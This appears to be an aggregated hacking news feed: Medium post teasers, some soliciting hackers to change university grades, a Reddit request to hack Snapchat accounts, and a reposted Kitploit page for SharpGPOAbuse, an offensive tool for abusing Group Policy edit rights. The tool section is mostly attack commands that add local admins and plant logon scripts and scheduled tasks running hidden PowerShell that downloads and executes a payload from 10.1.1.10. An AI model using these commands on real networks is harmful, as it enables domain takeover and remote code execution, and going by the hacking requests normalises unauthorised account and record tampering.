[BugHunt] Authenticated RCE found in HorizontCMS — Part 1 (Malicious Plugins)

IntroContinue reading on InfoSec Write-ups »
Read more...

Hacking on Medium
How To Change Your Grades Online Hack

https://cdn-images-1.medium.com/max/700/0*D6Uew-HhlTbxsFFh.jpeg
HOW TO CHANGE YOUR GRADES ONLINE

Continue reading on Medium »

Hacking on Medium
I NEED A HACKER TO CHANGE MY UNIVERSITY GRADES

I NEED HACKER TO CHANGE MY UNIVERSITY GRADES
Hackers are breaking boundaries and connecting the world within a short distance. Exploiting…

Continue reading on Medium »

Hacking on Medium
Tấn công web căn bản: Footprinting and Reconnaissance P.1

https://cdn-images-1.medium.com/max/2048/1*-urd1ggqjaqeK90buqEq3A.jpeg
Học tấn công để bảo vệ

Continue reading on Medium »

Using an SQL injection UNION attack to retrieve interesting data

When an application is vulnerable to SQL injection and the results of the query are returned within the application’s responses, the UNION…Continue reading on Medium »
Read more...

Using an SQL injection UNION attack to retrieve interesting data
https://mrinalprakash4577.medium.com/using-an-sql-injection-union-attack-to-retrieve-interesting-data-c39a4c2b7371?source=rss------bug_bounty-5

When an application is vulnerable to SQL injection and the results of the query are returned within the application’s responses, the UNION…Continue reading on Medium » (https://mrinalprakash4577.medium.com/using-an-sql-injection-union-attack-to-retrieve-interesting-data-c39a4c2b7371?source=rss------bug_bounty-5)

hacking: security in practice
Snap hacks?

If anyone knows how to hack snaps please hmu !?

submitted by /u/IndustryIndependent
[link] [comments]

Hacking on Medium
Social Media Account Hacked ││ Special © (Solution, Safety Measures, How to save yourself)

https://cdn-images-1.medium.com/max/1198/1*deNLyn7UU__VzPRBm493QA.png
Social media is a way of exploring used by millions of explorers every day. We all have social media accounts, some of them being Facebook…

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

Hacking on Medium
Hack Google chrome No Internet Dino Game!

https://cdn-images-1.medium.com/max/1920/1*vEsRCWwQ4fPCId3WBtxOKA.png
Hello, world!

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

Hacking on Medium
CRUD Rest APIs in 5 Minutes Using Flask

https://cdn-images-1.medium.com/max/1858/1*zerg-_g5Z5askaPC6dtxZA.png
Use Flask AppBuilder to developed CRUD REST APIs.

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

SharpGPOAbuse - Tool To Take Advantage Of A User'S Edit Rights On A Group Policy Object (GPO) In Order To Compromise The Objects That Are Controlled By That GPO
http://www.kitploit.com/2021/04/sharpgpoabuse-tool-to-take-advantage-of.html

SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy (https://www.kitploit.com/search/label/Group%20Policy) Object (GPO) in order to compromise the objects that are controlled by that GPO. More details can be found at the following blog post: https://labs.mwrinfosecurity.com/tools/sharpgpoabuse
Compile Instructions
Make sure the necessary NuGet packages are installed properly and simply build the project in Visual Studio.
Usage
Usage:
SharpGPOAbuse.exe

Attack Options

Adding User Rights
Options required to add new user rights:
--UserRights
Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
Set the account to add the new rights.
--GPOName
The name of the vulnerable (https://www.kitploit.com/search/label/Vulnerable) GPO.

Example:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Adding a Local Admin
Options required to add a new local admin:
--UserAccount
Set the name of the account to be added in local admins.
--GPOName
The name of the vulnerable GPO.

Example:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

Configuring a User or Computer Logon Script
Options required to add a new user or computer startup script:
--ScriptName
Set the name of the new startup script.
--ScriptContents
Set the contents of the new startup script.
--GPOName
The name of the vulnerable GPO.

Example:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden (https://www.kitploit.com/search/label/Hidden) -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
If you want to run the malicious script only on a specific user or computer controlled by the vulnerable GPO, you can add an if statement within the malicious script: SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%== powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Configuring a Computer or User Immediate Task
Options required to add a new computer or user immediate task:

--TaskName
Set the name of the new computer task.
--Author
Set the author of the new task (use a DA account).
--Command
Command to execute.
--Arguments
Arguments passed to the command.
--GPOName
The name of the vulnerable GPO.

Additional User Task Options:
--FilterEnabled
Enable Target Filtering for user immediate tasks.
--TargetUsername
The user to target. The malicious task will run only on the specified user. Should be in the format \
--TargetUserSID
The targeted user's SID.

Additional Computer Task Options:
--FilterEnabled
Enable Target Filtering for computer immediate tasks.
--TargetDnsName
The DNS name of the computer to target. The malicious task will run only on the specified host.

Example:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
If you want to run the malicious task only on a specific user or computer controlled by the vulnerable GPO you can use something similar to the following: SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com